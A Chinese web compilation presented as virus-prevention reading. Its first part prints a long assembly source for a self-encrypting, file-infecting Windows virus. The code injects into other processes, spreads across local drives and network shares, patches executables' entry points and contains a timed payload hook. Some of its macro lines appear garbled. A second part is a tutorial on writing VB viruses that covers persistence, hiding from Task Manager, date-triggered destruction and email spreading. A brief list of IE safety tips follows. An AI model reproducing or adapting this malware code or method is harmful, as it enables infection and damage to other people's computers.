纯ASM编写的病毒供学习使用病毒防范(精选5篇)由网友“我要笑”投稿提供,下面给大家分享纯ASM编写的病毒供学习使用病毒防范,欢迎阅读!
篇1:纯ASM编写的病毒供学习使用病毒防范
来源:www.54rk.cn
这篇在邪八有放过!
这是一只纯ASM编写的病毒,具备文件感染,入口代码变形,自身加密,EPO等功能,是一只无任何
特征码的病毒,设计目的是为对抗反病毒软件的特征码杀毒、行为杀毒和虚拟机杀毒,现有代码
未提供任何破坏功能,但会主动感染可执行文件,而且被感染过的文件很难再还原,这点请注意
另外这东西也提供了Ring0功能,主要用于感染运行中的可执行文件
这东西写完后放了很久,不太记得怎么用了,把代码放上来有兴趣的朋友拿去研究研究,汇编工
具为TASM,由于已经不确定会产生什么后果了,测试时请自行承担风险,还有不要拿去做坏事,
部分代码:
.486p
.model flat, stdcall
option casemap :none
;----------------------------------------------------------------------------
CRC16 MACRO string, lstr
CRC_VALUE = 0ffffffffh
IRPC CRC_BYTE, lstr
CRC_VALUE = CRC_VALUE xor '&CRC_BYTE'
REPT 8
CRC_VALUE = (CRC_VALUE shr 1) xor ((CRC_VALUE and 1) * 0edb88320h)
ENDM
ENDM
CRC_VALUE = CRC_VALUE xor 0ffffffffh
dw (CRC_VALUE and 0ffffh)
ENDM
APIDEF MACRO string, sym
CRC16, sym
sym = vEnd + VARLEN + APICOUNT
APICOUNT = APICOUNT + 6
ENDM
VARDEF MACRO string, sym, vw
sym = VARCOUNT
VARCOUNT = VARCOUNT + vw
ENDM
LIBDEF MACRO string, sym, lstr
local l1, l2
l1:
db lstr, 0
l2:
sym = LIBCOUNT
LIBCOUNT = LIBCOUNT + (l2 - l1)
ENDM
pushsz MACRO lstr
local pushstr
call pushstr
db lstr, 0
pushstr:
ENDM
rdtsc MACRO
db 0fh, 31h
ENDM
ShowMessage MACRO lstr
IF DEBUG
UTPUTMESSAGE = 1
pushsz, lstr
call OutputMessage
ENDIF
ENDM
WIN32_FIND_DATAA STRUCT
dwFileAttributes DWORD ?
ftCreationTime QWORD ?
ftLastAccessTime QWORD ?
ftLastWriteTime QWORD ?
nFileSizeHigh DWORD ?
nFileSizeLow DWORD ?
dwReserved0 DWORD ?
dwReserved1 DWORD ?
cFileName BYTE 260 dup(?)
cAlternateFileName BYTE 14 dup(?)
ALIGN 4
WIN32_FIND_DATAA ENDS
PROCESSENTRY32 STRUCT
dwSize DWORD ?
cntUsage DWORD ?
th32ProcessID DWORD ?
th32DefaultHeapID DWORD ?
th32ModuleID DWORD ?
cntThreads DWORD ?
th32ParentProcessID DWORD ?
pcPriClassBase DWORD ?
dwFlags DWORD ?
szExeFile BYTE 260 dup(?)
PROCESSENTRY32 ENDS
;--------------------------------------------------------
DEBUG = 1
UTPUTMESSAGE = 0
VARLEN = 140h
vSize = vEnd - vBegin
vdelta = vEnd + 80h
MAX_PATH = 104h
VARCOUNT = 0
APICOUNT = 0
LIBCOUNT = 0
MainLoaderSize equ 26
MiniLoaderSize equ 10
FILE_WRITE_ENABLE equ 00000001b
RING0_CODE_ALLOW equ 00000010b
USED_MINI_LOADER equ 00000100b
NTK_API_INIT equ 8
NTL_API_INIT equ 9
;****************************************************************************
; 全局变量结构
;****************************************************************************
VARCOUNT = -80h
VARDEF, var_k32base, 4
VARDEF, var_vbase, 4
VARDEF, var_temp1, 4
VARDEF, var_temp2, 4
VARDEF, var_temp3, 4
VARDEF, var_temp4, 4
VARDEF, var_flags, 4
VARDEF, var_fname, 4
VARDEF, var_ftime, 8
VARDEF, var_fsize, 8
VARDEF, var_fpatch, 4
VARDEF, var_hFile, 4
VARDEF, var_hMap, 4
VARDEF, var_pMem, 4
VARDEF, var_kfmap, 4
VARDEF, var_hostcall, 4
VARDEF, fun_random, 4
VARDEF, fun_knlxx, 4
VARDEF, var_voff, 4
VARDEF, var_vkey, 4
;--------------------------------------------------------
VARCOUNT = 0
VARDEF, fun_WNetCloseEnum, 4
VARDEF, fun_WNetEnumResourceA, 4
VARDEF, fun_WNetOpenEnumA, 4
.DATA
;****************************************************************************
; 初始化
;****************************************************************************
vBegin:
push eax
add esp, 4
db 90h
db 90h
push eax
pushfd
pushad ;保存宿主上下文
enter 40h, 0
cld
xor ebx, ebx
mov eax, fs:[ebx]
xchg esi, eax
lodsd
cmp eax, -1
jne $ - 5 ;查找SEH链尾
mov edx, [esi]
FindK32Base:
dec edx
xor dx, dx
cmp word ptr [edx], 'ZM'
jne FindK32Base
mov eax, [edx + 3ch]
cmp dword ptr [edx + eax], 'EP'
jne FindK32Base
call PUSHINITDATA
K32BaseValue dd 0
CRC16, CloseHandle ;40h
CRC16, CreateRemoteThread ;3ch
CRC16, CreateToolhelp32Snapshot ;38h
CRC16, OpenProcess ;34h
CRC16, Process32First ;30h
CRC16, Process32Next ;2ch
CRC16, VirtualAllocEx ;28h
CRC16, VirtualFreeEx ;24h
CRC16, WriteProcessMemory ;20h
db 00h
PUSHINITDATA:
pop esi
mov [esi], edx
lodsd
lea edi, [ebp - 40h]
call GetApiAddressFromList
call $ + 9 + MainLoaderSize
modifyaddr db 4 dup(?)
modifydata db MainLoaderSize dup(?)
pop esi
lodsd
mov [ebp + 28h], eax ;写入返回宿主的地址
push ebx ;lpNumberOfBytesWritten=NULL
push MainLoaderSize ;nSize
push esi ;lpBuffer
push eax ;lpBaseAddress
push -1 ;hProcess
call [ebp - 20h] ;WriteProcessMemory
rdtsc
call srand ;更新随机数种子
and al, 1
jnz AttachCurrentProcess
call EnumProcess
push eax ;dwProcessId
push 0 ;bInheritHandle
push 1f0fffh ;PROCESS_ALL_ACCESS
call [ebp - 34h] ;OpenProcess
test eax, eax
jz AttachCurrentProcess
xchg edi, eax
call CreateVirusThread
pushfd
push edi ;hProcess
call [ebp - 40h] ;CloseHandle
popfd
jnc ReturnHost
AttachCurrentProcess:
or edi, -1
call CreateVirusThread
ReturnHost:
leave
popad
popfd
ret ;返回宿主
;--------------------------------------------------------
EnumProcess:
mov ebx, ebp
enter size PROCESSENTRY32, 0
mov esi, esp
push 0 ;TH32CS_INHERIT
push 2 ;TH32CS_SNAPPROCESS
call [ebx - 38h] ;CreateToolhelp32Snapshot
xchg edi, eax
mov [esi].dwSize, size PROCESSENTRY32
push esi ;lppe
push edi ;hSnapshot
call [ebx - 30h] ;Process32First
xchg ecx, eax
jecxz NoProcessExist
GetNextProcess:
IF DEBUG
cmp dword ptr [esi].szExeFile, 'eton'
jne $ + 5
ENDIF
push dword ptr [esi].th32ProcessID
push esi ;lppe
push edi ;hSnapshot
call [ebx - 2ch] ;Process32Next
test eax, eax
jnz GetNextProcess
NoProcessExist:
push edi ;hSnapshot
call [ebx - 40h] ;CloseHandle
mov eax, esi
sub eax, esp
jz EnumProcess_Return
shr eax, 2
call random
mov eax, [esp + eax * 4] ;随机选一个进程返回
mov esp, esi
EnumProcess_Return:
leave
ret
;--------------------------------------------------------
CreateVirusThread:
xor esi, esi
xor eax, eax
push 40h ;PAGE_EXECUTE_READWRITE
mov ah, 10h
push eax ;MEM_COMMIT
mov ah, 50h
push eax ;分配内存大小(20K)
push esi ;NULL
push edi ;hProcess
call [ebp - 28h] ;VirtualAllocEx
mov ebx, eax ;保存内存地址
test eax, eax
jz CreateVirusThread_Return
call $ + 5
pop eax
sub eax, $ - vBegin - 1 ;指向病毒代码
push esi ;lpNumberOfBytesWritten=NULL
push vSize ;nSize
push eax ;lpBuffer
push ebx ;lpBaseAddress
push edi ;hProcess
call [ebp - 20h] ;WriteProcessMemory
xchg ecx, eax
jecxz CreateFailed
lea eax, [ebx + MyVirusStart - vBegin]
push esi
push esp ;lpThreadId
push esi ;NULL
push ebx ;lpParameter=内存基址
push eax ;MyVirusStart
push esi ;0
push esi ;NULL
push edi ;hProcess
call [ebp - 3ch] ;CreateRemoteThread
pop edx
xchg ecx, eax
jecxz CreateFailed
clc
ret
CreateFailed:
mov ch, 80h
push ecx ;MEM_RELEASE
push esi ;dwSize=0
push ebx ;lpAddress
push edi ;hProcess
call [ebp - 24h] ;VirtualFreeEx
CreateVirusThread_Return:
stc
ret
;****************************************************************************
; 获取API,生成调用转向表(ESI:API-CRC列表,EDI:写入地址,EDX:模块句柄)
;****************************************************************************
BuildImportTable:
pushad
xor ecx, ecx
inc ecx
inc ecx
cmp [esi + ecx], ch ;此处假设API总数少于128个
jne $ - 5
add edi, ecx
call GetApiAddressFromList
mov esi, edi
sub edi, ecx
shr ecx, 1
mov al, 068h ;push
stosb
movsd
mov al, 0c3h ;ret
stosb
loop $ - 7
popad
ret
;--------------------------------------------------------
GetApiAddressFromList:
pushad
mov ecx, [edx + 3ch]
add ecx, edx
mov ebx, [ecx + 78h] ;ExporyTableAddress
add ebx, edx
or ebp, -1 ;计数寄存器
SearchNextAPI:
mov ecx, [ebx + 20h] ;AddressOfNames
add ecx, edx
ContinueSearch:
inc ebp
mov eax, edx
add eax, [ecx + ebp * 4] ;取API名称字符串
call vStrToCRC
cmp [esi], ax
jne ContinueSearch
mov eax, [ebx + 24h] ;AddressOfNameOrdinals
add eax, edx
movzx eax, word ptr [eax + ebp * 2]
mov ecx, [ebx + 1ch] ;AddressOfFunctions
add ecx, edx
mov eax, [ecx + eax * 4]
add eax, edx
stosd ;保存API地址
inc esi
inc esi
cmp byte ptr [esi], 0 ;API名的CRC16列表以单个0结束
jne SearchNextAPI
popad
ret
;****************************************************************************
; 循环冗余校验(EAX:字符串指针)
;****************************************************************************
vStrToCRC:
push ecx
push edx
push edi
xchg edi, eax
xor eax, eax
or ecx, -1
repne scasb
not ecx
dec eax
sub edi, ecx
dec ecx
@1:
xor al, [edi]
inc edi
mov dl, 8
@2:
shr eax, 1
jnc @3
xor eax, 0edb88320h
@3:
dec dl
jnz @2
loop @1
pop edi
pop edx
pop ecx
not eax
ret
;--------------------------------------------------------
KNLAPILIST:
APIDEF, CloseHandle
APIDEF, CreateFileA
APIDEF, CreateFileMappingA
APIDEF, CreateMutexA
APIDEF, CreateThread
APIDEF, FindClose
APIDEF, FindFirstFileA
APIDEF, FindNextFileA
APIDEF, GetCurrentProcess
APIDEF, GetDriveTypeA
APIDEF, GetFileAttributesA
APIDEF, GetFileSize
APIDEF, GetFileTime
APIDEF, GetModuleHandleA
APIDEF, GetProcAddress
APIDEF, GetSystemTime
APIDEF, LoadLibraryA
APIDEF, LocalFree
APIDEF, MapViewOfFile
APIDEF, OpenMutexA
APIDEF, SetEndOfFile
APIDEF, SetFileAttributesA
APIDEF, SetFilePointer
APIDEF, SetFileTime
APIDEF, Sleep
APIDEF, UnmapViewOfFile
APIDEF, VirtualAlloc
APIDEF, VirtualFree
APIDEF, VirtualLock
APIDEF, VirtualUnlock
APIDEF, WaitForSingleObject
APIDEF, WriteFile
APIDEF, WriteProcessMemory
db 00h ;ENDLIST
KNLAPICALL = CloseHandle
MPRAPILIST:
CRC16, WNetCloseEnum
CRC16, WNetEnumResourceA
CRC16, WNetOpenEnumA
db 00h ;ENDLIST
;****************************************************************************
; 病毒入口
;****************************************************************************
MyVirusStart:
mov ebx, [esp + 4] ;取得代码基址
call setup_seh
pop eax
pop eax
pop esp
pop eax ;next_seh
pop ebx ;setup_seh
pop eax ;线程返回地址
pop ebx ;内存基地址
push 8000h ;MEM_RELEASE
push 0
push ebx
push eax
jmp VirtualFree ;释放占用的内存并退出
setup_seh:
xor ecx, ecx
push dword ptr fs:[ecx]
mov fs:[ecx], esp
MyVirusDebugStart:
lea ebp, [ebx + vSize + 80h] ;EBP指向全局变量
mov [ebp + var_vbase], ebx ;保存代码基址
mov edx, [ebx + K32BaseValue - vBegin]
mov [ebp + var_k32base], edx ;保存Kernel32基地址
add ebx, 1024 * 12
mov [ebp + var_flags], ecx ;清空标志位
mov [ebp + var_fpatch], ebx
xor eax, eax
call random
and al, 3
jnz $ + 6
or byte ptr [ebp + var_flags], RING0_CODE_ALLOW
lea esi, [ebp + KNLAPILIST - vdelta]
lea edi, [ebp + KNLAPICALL - vdelta]
call BuildImportTable ;自建API导入表
enter 4 * 8, 0
mov esi, esp
push esp
call GetSystemTime
lodsd ;year
mov ch, al
lodsd ;month
mov cl, al
lodsd ;week
shl ecx, 8
lodsd ;day
mov cl, al ;取得当前年月日
leave
ShowMessage, “Hello!”
ShowMessage, “Next!”
call $ + 9
vInfectTime dd 291402edh
pop edx
sub ecx, [edx]
add [edx], ecx ;保存当前时间为以后病毒的感染时间
shr ecx, 10 ;病毒潜伏期为3个月
jz $ + 16
xor eax, eax
call random
test al, 7fh ;之后将随机发作(128分之1的机率)
jnz $ + 7
call DestroyDisk
; call vInfect ;正常情况下继续感染
IF DEBUG
int 3
ENDIF
;--------------------------------------------------------
LoadLibrary:
pop ecx ;返回地址
pop eax ;入口参数
push ecx
push ebx
call PUSHMODULENAME
LIBDEF, NTDLL, “ntdll”
LIBDEF, ADVAPI32, “advapi32”
LIBDEF, MPR, “mpr”
PUSHMODULENAME:
pop ebx ;库名列表
add ebx, eax
push ebx
call GetModuleHandleA
test eax, eax
jnz $ + 8
push ebx
call LoadLibraryA
pop ebx
ret
;****************************************************************************
; 文件感染
;****************************************************************************
vInfect:
push MPR
call LoadLibrary
xchg edx, eax
lea esi, [ebp + MPRAPILIST - vdelta]
lea edi, [ebp + fun_WNetCloseEnum]
call GetApiAddressFromList
GetAnotherDrive:
push 20
pop eax
call random
add eax, '\:C'
push eax
push esp
call GetDriveTypeA
sub al, 3
cmp al, 2
pop eax
jnb GetAnotherDrive
IF DEBUG
cmp al, 'X'
jne GetAnotherDrive
ENDIF
push eax
mov esi, esp
call EnumDirectoryTree
pop eax
call EnumNetResource
jmp GetAnotherDrive
;****************************************************************************
; 枚举局域网资源
;****************************************************************************
EnumNetResource:
sub esp, 512
mov esi, esp
xor ebx, ebx
push eax
push esp ;lphEnum
push ebx ;NULL
jmp WNetS
WNetE2:
xor ebx, ebx
push eax
push esp ;lphEnum
push esi ;lpNetResource
WNetS:
push ebx ;dwUsage
push ebx ;RESOURCETYPE_ANY
push 2 ;RESOURCE_GLOBALNET
call [ebp + fun_WNetOpenEnumA]
test eax, eax
jnz WNetE1
WNetE4:
pop edi ;hEnum
push 1
mov eax, esp
mov bh, 2
push ebx
push esp ;lpBufferSize=512
push esi ;lpBuffer
push eax ;lpcCount=1
push edi ;hEnum
call [ebp + fun_WNetEnumResourceA]
pop ecx
pop ecx
push edi
test eax, eax
jnz WNetE3
cmp dword ptr [esi + 4], 1 ;RESOURCETYPE_DISK
jne WNetE2
pushad
mov esi, [esi + 14h]
call EnumDirectoryTree
popad
jmp WNetE4
WNetE3:
push edi ;hEnum
call [ebp + fun_WNetCloseEnum]
WNetE1:
pop edi
cmp esp, esi
jne WNetE4
add esp, 512
ret
;****************************************************************************
; 搜索文件(ESI:路径指针)
;****************************************************************************
EnumDirectoryTree:
push ebx
enter size WIN32_FIND_DATAA + MAX_PATH + 8, 0
lea edi, [ebp - MAX_PATH - 8]
mov ebx, esp
mov [ebp - 4], edi
lodsb
stosb
test al, al
jnz $ - 4
cmp byte ptr [edi - 2], '\'
jne $ + 3
dec edi
SearchDirectory:
mov byte ptr [edi - 1], '\'
mov dword ptr [edi], '*.*'
push ebx ;lpFindFileData
push dword ptr [ebp - 4] ;lpFileName
call FindFirstFileA
mov esi, eax
inc eax
jz FileNoFind
FindFileLoop:
push edi
push esi
lea esi, [ebx].cFileName
cmp byte ptr [esi], '.'
je ReSearchDirectory ;跳过当前及上一级目录
lodsb
stosb
test al, al
jnz $ - 4 ;连接新文件路径
test byte ptr [ebx].dwFileAttributes, 10h ;FILE_ATTRIBUTE_DIRECTORY
jnz SearchDirectory
mov eax, [edi - 5]
IF DEBUG
cmp eax, '7exe'
ELSE
cmp eax, 'exe.' ;检察文件类型
ENDIF
jne ReSearchDirectory
pushad
mov esi, [ebp - 4]
mov ebp, [ebp]
call InfectFile
popad
ReSearchDirectory:
pop esi
pop edi
push ebx ;lpFindFileData
push esi ;hFindFile
call FindNextFileA
test eax, eax
jnz FindFileLoop
push esi ;hFindFile
call FindClose
FileNoFind:
cmp esp, ebx
jne ReSearchDirectory ;继续前一个目录的搜索
leave
pop ebx
InfectFile_TempLabel:
ret
;****************************************************************************
; 感染磁盘文件(ESI:文件名指针)
;****************************************************************************
InfectFile:
call LoadFile ;内存映象文件
jz InfectFile_TempLabel
cmp word ptr [ebx], 'ZM' ;EBX指向文件头
jne InfectFailed
mov edx, [ebx + 3ch]
add edx, ebx
cmp dword ptr [edx], 'EP' ;EDX指向PE头
jne InfectFailed
cmp dword ptr [edx + 58h], 0 ;CheckSum
jne InfectFailed ;不感染校验和非0的文件
movzx ecx, word ptr [edx + 6]
imul eax, ecx, 28h
lea esi, [edx + eax + 0f8h - 28h] ;指向最后一节
mov edi, [esi + 10h] ;SizeOfRawData
add edi, [esi + 14h] ;PointerToRawData
cmp [ebp + var_fsize], edi
jne InfectFailed ;确保文件没有附加数据
int 3
call VirusEPO ;搜索代码插入点
jc InfectFailed
;下面的代码将向[ebp + var_patch]所指的内存中写入补丁数据
;补丁包括已加密的病毒体,随机生成的解密器及修改后的原程序最后一个节
;补丁格式为4字节文件偏移,4字节数据长度,不定字节数据
mov edi, [ebp + var_fpatch]
push edx
mov edx, [edx + 34h] ;ImageBase
add edx, [esi + 0ch] ;VirtualAddress
add edx, [esi + 10h] ;病毒入口的RVA
push edx ;arg_5
push eax ;arg_4
push ecx ;arg_3
xchg eax, ecx
sub eax, ebx
stosd
push MainLoaderSize
pop eax
stosd
push edi ;arg_2
add edi, eax
mov eax, [esi + 14h] ;PointerToRawData
add eax, [esi + 10h] ;病毒代码在节中的虚拟偏移
stosd
xor eax, eax
mov ah, ((vSize + 1010h -1) and 0fffff000h) shr 8
stosd
push edi ;arg_1
add edi, eax
call CreateEntryPatch ;创建病毒入口
mov eax, esi
sub eax, ebx
stosd
push 28h ;PE节表项大小
pop eax
stosd ;拷贝原程序的最后一节
xchg ecx, eax
rep movsb ;复制该节数据
xor ecx, ecx
mov ch, ((vSize + 1010h - 1) and 0fffff000h) shr 8
add [edi - 28h + 08h], ecx ;增加节长度
add [edi - 28h + 10h], ecx ;增加节长度
or byte ptr [edi - 28h + 27h], 80h ;增加写属性
add [ebp + var_fsize], ecx ;增加文件长度
pop edx
lea eax, [edx + 50h] ;SizeOfImage
mov edx, [eax]
sub eax, ebx
stosd
push 4
pop eax
stosd
add edx, ecx
xchg eax, edx
stosd
and dword ptr [edi], 0 ;补丁结束标志
call ModifyFile
InfectFailed:
push dword ptr [ebp + var_pMem] ;lpBaseAddress
call UnmapViewOfFile
push dword ptr [ebp + var_hFile] ;hFile
call CloseHandle
ret
;****************************************************************************
;
;****************************************************************************
vEncrypt:
pushad
xchg edi, eax
xor eax, eax
lea ecx, [eax + 9]
call random
imul eax, 0ffffffedh
stosd ;写入病毒代码前先填入少量无用数据
loop $ - 4
and eax, 31
lea edi, [edi + eax - 4 * 9]
mov edx, [edi + 4 * 8] ;加密密钥
mov [ebp + var_voff], edi
mov [ebp + var_vkey], edx
mov esi, [ebp + var_vbase] ;当前病毒代码基址
mov eax, 12345678h
or eax, edx
xor eax, [esi]
stosd
mov ecx, vSize shr 2
LoopEncryptVirusBody:
lodsd
xor eax, edx
xor eax, [esi]
stosd
loop LoopEncryptVirusBody
popad
ret
;****************************************************************************
; 打开文件(ESI:文件名)
;****************************************************************************
LoadFile:
xor ebx, ebx
or byte ptr [ebp + var_flags], FILE_WRITE_ENABLE
push esi ;lpFileName
call GetFileAttributesA
push eax ;dwFileAttributes
push esi ;lpFileName
and al, 0feh ;去除只读属性
push eax ;dwFileAttributes
push esi ;lpFileName
call SetFileAttributesA
push ebx ;NULL
push ebx ;0
push 3 ;OPEN_EXISTING
push ebx ;NULL
push ebx ;0
push 0c0000000h ;GENERIC_READ + GENERIC_WRITE
push esi ;lpFileName
call CreateFileA
xchg edi, eax
call SetFileAttributesA ;还原文件属性
inc edi
jnz MemMapFile_Success
and byte ptr [ebp + var_flags], not FILE_WRITE_ENABLE
test byte ptr [ebp + var_flags], RING0_CODE_ALLOW
jz MemMapFile_Finish
push ebx ;NULL
push ebx ;0
push 3 ;OPEN_EXISTING
push ebx ;NULL
push ebx ;0
push 080000000h ;GENERIC_READ
push esi ;lpFileName
call CreateFileA
xchg edi, eax
inc edi
jz MemMapFile_Finish
MemMapFile_Success:
dec edi
lea esi, [ebp + var_ftime]
mov [ebp + var_hFile], edi ;保存文件句柄
push esi ;lpLastWriteTime
push ebx ;NULL
push ebx ;NULL
push edi ;hFile
call GetFileTime
movzx eax, byte ptr [esi]
mov cl, 29
div cl
sub [esi], ah
IFE DEBUG
test ah, ah
jz MemMapFile_Error
ENDIF
push ebx ;NULL
push edi ;hFile
call GetFileSize
mov [ebp + var_fsize], eax ;保存文件长度
mov [ebp + var_fsize + 4], ebx ;文件长度高位清零
test eax, 0ffc00000h
jnz MemMapFile_Error ;文件大于4M不感染
IFE DEBUG
shr eax, 14
jz MemMapFile_Error ;文件小于16K不感染
ENDIF
push ebx ;NULL
push ebx ;0
push ebx ;0
push 2 ;PAGE_READONLY
push ebx ;NULL
push edi ;hFile
call CreateFileMappingA
xchg esi, eax
push ebx ;0
push ebx ;0
push ebx ;0
push 4 ;FILE_MAP_READ
push esi ;hMap
call MapViewOfFile
xchg ebx, eax
push esi ;hMap
call CloseHandle
mov [ebp + var_pMem], ebx
test ebx, ebx
jnz MemMapFile_Finish
MemMapFile_Error:
push edi ;hFile
call CloseHandle
xor ebx, ebx
MemMapFile_Finish:
ret
;****************************************************************************
; 把补丁数据写入文件并放置感染标志
;****************************************************************************
ModifyFile:
xor ebx, ebx
test byte ptr [ebp + var_flags], FILE_WRITE_ENABLE
jz ForceModifyFile
mov edi, [ebp + var_hFile]
mov esi, [ebp + var_fpatch]
ModifyFile_PatchNextOffset:
lodsd ;读取偏移
xchg ecx, eax
jecxz ModifyFile_ModifyFileFinish
push ebx ;FILE_BEGIN
push ebx ;0
push ecx ;lDistanceToMove
push edi ;hFile
call SetFilePointer
lodsd ;读取长度
push ebx
mov edx, esp
push ebx ;lpOverlapped
push edx ;lpNumberOfBytesWritten
push eax ;nNumberOfBytesToWrite
push esi ;lpBuffer
push edi ;hFile
add esi, eax ;指向下一处补丁
call WriteFile
pop eax
jmp ModifyFile_PatchNextOffset
ModifyFile_ModifyFileFinish:
lea eax, [ebp + var_ftime]
push eax ;lpLastWriteTime
push ebx ;NULL
push ebx ;NULL
push edi ;hFile
call SetFileTime ;修改文件时间作为感染标志
ret
;****************************************************************************
; 从内核打开被锁定的文件并打上补丁
;****************************************************************************
ForceModifyFile:
mov [ebp + var_kfmap], ebx
lea eax, [ebp + knlMapViewByHandle - vdelta]
mov [ebp + fun_knlxx], eax
call RunRing0Code
mov esi, [ebp + var_fpatch]
xor ebx, [ebp + var_kfmap]
jz ForceModifyFile_MapFailed
ForceModifyFile_NextPathc:
lodsd
xchg ecx, eax
jecxz ForceModifyFile_PathcFinish
lea edi, [ebx + ecx]
lodsd
xchg ecx, eax
rep movsb
jmp ForceModifyFile_NextPathc
ForceModifyFile_PathcFinish:
mov ecx, [ebp + var_fsize]
mov esi, ebx
inc ecx
shr ecx, 1
xor edi, edi
adc di, [esi] ;计算文件检验和
inc esi
inc esi
loop $ - 5
mov edx, [ebx + 3ch]
add edi, [ebp + var_fsize]
add edx, ebx
mov [edx + 58h], edi ;设置检验和
push ebx
call UnmapViewOfFile
ForceModifyFile_MapFailed:
ret
;****************************************************************************
; ???
;****************************************************************************
DestroyDisk:
ret
;--------------------------------------------------------
;IF DEBUG
INCLUDE ntknl.inc
;ENDIF
INCLUDE anti_kv.inc
;--------------------------------------------------------
IF OUTPUTMESSAGE
OutputMessage:
pushad
pushsz, “user32”
call LoadLibraryA
pushsz, “MessageBoxA”
push eax
call GetProcAddress
push 44h
pushsz, “Angel - Debuging”
push dword ptr [esp + 2ch]
push 0
call eax
cmp al, 7
jne $ + 3
int 3
popad
ret 4
ENDIF
ALIGN 4
vEnd:
db 1024 dup (0)
;****************************************************************************
; 病毒调试入口(EDI:DST)
;****************************************************************************
.CODE
extern GetModuleHandleW:PROC
start:
mov esi, offset start
mov eax, esi
call vCodeCheck
add esi, ecx
jmp $ - 9
mov ebp, offset vdelta
push offset nKernel32
call GetModuleHandleW
xchg edx, eax
mov esi, offset KNLAPILIST
mov edi, offset KNLAPICALL
call BuildImportTable
rdtsc
call srand
mov ebp, offset vdelta
sub esp, 256
mov edi, esp
call VirusPoly
add esp, 256
ret
; call vBegin
; call TestMainProgram
; mov ebp, offset vdelta
call TestInfect
; call TestRing0
ret
;----------------------------------------------------------------------------
TestMainProgram:
call Set_SEH
pop eax ;异常处理
pop eax
pop esp
jmp exit
Set_SEH:
xor ecx, ecx
push dword ptr fs:[ecx]
mov fs:[ecx], esp ;挂上SEH
mov ebx, offset vBegin
push offset nKernel32
call GetModuleHandleW
mov [K32BaseValue], eax
call MyVirusDebugStart
exit:
xor ecx, ecx
pop dword ptr fs:[ecx]
pop eax
ret
;----------------------------------------------------------------------------
TestInfect:
rdtsc
call srand
mov esi, offset nTarget
sub esp, 1024 * 8
mov [ebp + var_fpatch], esp
call InfectFile
add esp, 1024 * 8
ret
;----------------------------------------------------------------------------
TestRing0:
mov dword ptr [ebp + var_fname], offset nTestFile
mov dword ptr [ebp + var_fsize], 4096
call ForceModifyFile
ret
;----------------------------------------------------------------------------
nTarget db “F:\PROFILE\Desktop\project\1986\test\try.exe”, 0
nTestFile db “C:\test.exe”, 0
; nKernel32 db 'kernel32', 0
nKernel32 db 'k', 0, 'e', 0, 'r', 0, 'n', 0, 'e', 0, 'l', 0, '3', 0, '2', 0, 0, 0
END start
;----------------------------------------------------------------------------
asmangel.rar(完整代码下载)
篇2:制作编写超级批处理病毒病毒防范
网上的批处理病毒代码很少,我发一段我写的批处理给大家研究,我水平一般,也就只能写出这点东西了,大家多多包涵。废话不多说了,大家看代码,仅供研究,不要做坏事。
具体的意思我也不说了,太长了,有点批处理基础的朋友应该都看得懂.
虽然我检查过,但是写这么长难免有错误,哪里写错了,还请高手们多多指点,
篇3:VB编写病毒的大体方法病毒防范
电脑界的每个人都痛恨计算机病毒,她给我们带来了很多麻烦和损失,可你知道编写病毒的方法和过程吗?在此我仅以VB编写为例,揭开她的面纱,
用VB编写病毒需要考虑到如下几点:
* 感染主机
~~~~~~~~~~
首先染毒文件运行后先要判断主机是否以感染病毒,也就是判断病毒主体文件是否存在,如果不存在则将病毒主体拷贝到指定位置(如:
将病毒文件拷贝到c:windowssystem),可用filecopy语句实现;如果病毒已感染主机则结束判断。
例如,判断C:windowssystemKiller.exe是否存在,如果有则退出判断,如果没有则证明本机未感染病毒,立即拷入病毒文件。
病毒源文件名为game.exe
声明部分:
''定义 FileExists% 函数
public success%
Function FileExists%(fname$)
On Local Error Resume Next
Dim ff%
ff% = FreeFile
Open fname$ For Input As ff%
If Err Then
FileExists% = False
Else
FileExists% = True
End If
Close ff%
End Function
代码部分:
''判断文件是否存在
success% = FileExists%(“C:windowssystemKiller.exe”)
If success% = False Then ''病毒不存在则拷贝病毒到计算机
FileCopy “game.exe”, “C:windowssystemKiller.exe”
... ''修改注册表,将其加入RUN中。(省略若干代码)
End If
* 开机启动病毒
~~~~~~~~~~~~~~
在病毒感染主机的同时,将自身加入注册表的开机运行中,这与向主机拷入病毒是同时进行的,主机感染后不再修改注册表,
可通过编程
和调用API函数对WIN注册表进行操作来实现,这样在每次启动计算机时病毒自动启动。(具体编写方法请查阅其它资料)
* 任务管理器
~~~~~~~~~~~~
在任务管理器列表中禁止病毒本身被列出,可以通过编程来实现。
用代码 App.TaskVisible = false 就可以实现;再有就是通过调用Win API函数来实现,这里就不作介绍了。
* 病毒发作条件
~~~~~~~~~~~~~~
可用Day(Date)来判断今天是几号,再与确定好的日期作比较,相同则表现出病毒主体的破坏性,否则不发作。也可用Time、Date或其它方
法作为病毒发作条件的判断。
例:
if day(date)=16 then ''16是发作日期,取值为1-31的整数
... ... ''kill ******* 当日期相符时运行的破坏性代码(格式化、删除指定的文件类型、发送数据包杜塞网路等,省略若干代码)
end if
* 病毒的破坏性
~~~~~~~~~~~~~~
编写的此部分代码决定了病毒威力的强弱。轻的可以使系统资源迅速减少直至死机(需要你懂得一点蠕虫的原理),也就是实现开机即死的
效果;也可以加入硬盘炸弹代码、系统后台删文件等。重的可以使计算机彻底瘫痪(不作介绍,你可以参阅其它病毒的有关资料)。
* 病毒的繁殖
~~~~~~~~~~~~
原理很简单,就是将其自身与其它可执行文件合并,也就是两个文件并成一个文件。也可通过E-Mail传播,方法是病毒读取被感染主机的
邮件列表,将带有病毒附件的E-Mail发给列表中的每一个人(这需要你懂得VB网络编程)。
读完本文章相信您已对病毒的编写思路有了初步的了解,如果你是个VB爱好者,你已经可以编写一个很简单的病毒了,但你要是精通VB的话,请不要有编写后传播她的想法,因为传播她造成很大的影响将改变你的命运(被公安抓住就挂了)。
篇4:防范病毒 安全使用IE浏览器的几点建议
据国外媒体报道,近日,业界中出现 利用IE 漏洞攻击包括高科技公司的事件,
毫无疑问,IE浏览器的安全问题是当前的最大焦点。下面是安全使用IE的几点建议:
最安全的IE版本:IE8
由于微软的IE浏览器称霸多年,很多第三方服务都是以IE为平台研发设计的(比如网银),如此一来,用户必须使用IE才能正常进行操作。而且Windows的更新也是通过IE发布的,即时你从没有打开过IE,也要确保浏览器升级到新版本,否则其中的漏洞就会成为 攻击的入口。
在必须使用和保留IE浏览器的情况下,推荐使用IE8。
必须强调的是,IE 8太专注于安全性能,所以兼容性和稳定性被大打折扣。用户常常会发现“Flash版本太低”、“保护数据,关闭IE”的情况。所以,大家要在安全性和易用性中做出选择。
IE安全设置
